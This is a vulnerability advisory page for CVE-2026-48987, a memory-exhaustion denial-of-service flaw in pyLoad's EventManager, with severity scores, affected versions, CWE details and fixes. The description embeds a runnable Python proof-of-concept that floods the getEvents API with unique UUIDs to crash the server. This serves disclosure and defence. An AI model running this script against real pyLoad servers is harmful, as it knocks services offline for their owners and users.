VulnerabilityPublished 9 Jul 2026

CVE-2026-48987: pyLoad · Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

Affects pyload-ngSource GCVE Database

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Not known to be exploited · CVSS 6.5 Medium.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 3.1 base score

6.5Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 37% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 9 Jul 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
PyPIpyload-ng	Affected <=0.5.0b3.dev100	Fixed in–

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AI-suggested

It is recommended to modify the pyLoad EventManager code to invoke the clean() method at the start of the get_events API handler to remove inactive Client instances and prevent unbounded memory growth. Additionally, implementing rate limiting on the getEvents API endpoint can help prevent abuse by limiting the number of unique UUID requests from a single client. Monitor for updates from the vendor or project repository for any official fixes.

Description

## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.

Impact

The vulnerability causes the pyLoad process to consume increasing amounts of memory without release, eventually exhausting system memory. This leads to denial of service conditions, including potential out-of-memory kills by the operating system or broader system instability affecting other services on the host. There is no direct impact on confidentiality or integrity reported.

Summary

The vulnerability in pyLoad's EventManager module arises because each unique UUID from the get_events API causes a new Client instance to be appended to an internal clients list without ever removing inactive clients. Although a clean() method exists to remove non-responding clients, it is never called in the codebase. This results in uncontrolled memory growth as the clients list expands indefinitely with each unique UUID request. Attackers can exploit this by sending a large number of requests with unique UUIDs, causing the pyLoad process to consume all available memory, leading to denial of service. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption), CWE-401 (Improper Release of Memory), and CWE-770 (Allocation of Resources Without Limits or Throttling). Recommended mitigations are to call the clean() method to purge inactive clients before processing new requests and to implement rate limiting on the getEvents API endpoint to prevent flooding.

CWE-400Uncontrolled Resource Consumption (opens in a new tab)
Class weaknessLikelihood of exploit: High
The product does not properly control the allocation and maintenance of a limited resource.
MITRE discourages mapping vulnerabilities to this broad entry; the root cause is usually a more specific weakness.
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place.
Architecture and Design
Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or; uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
OWASP Cheat Sheets
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V12.1.1 (opens in a new tab)
Attack patterns
XML Ping of the Death (opens in a new tab)
Regular Expression Exponential Blowup (opens in a new tab)
Sustained Client Engagement (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-401Missing Release of Memory after Effective Lifetime (opens in a new tab)
Variant weaknessLikelihood of exploit: Medium
The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
Implementation · Libraries or Frameworks
Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.
Architecture and Design
Use an abstraction library to abstract away risky APIs. Not a complete solution.
Architecture and Design · Build and Compilation
Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-770Allocation of Resources Without Limits or Throttling (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #25
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
Requirements
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Architecture and Design
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended.
OWASP Cheat Sheets
Abuse Case (opens in a new tab)
OWASP ASVS 4.0.3
V8.1.4 (opens in a new tab)
V13.4.1 (opens in a new tab)
V11.1.4 (opens in a new tab)
Attack patterns
XML Ping of the Death (opens in a new tab)
Exponential Data Expansion (opens in a new tab)
Serialized Data Parameter Blowup (opens in a new tab)
Serialized Data with Nested Payloads (opens in a new tab)
Oversized Serialized Data Payloads (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 9 Jul 2026, 14:03 UTC

WeaknessesCWE-400, CWE-401, CWE-770

Technical details

References

Community reviews

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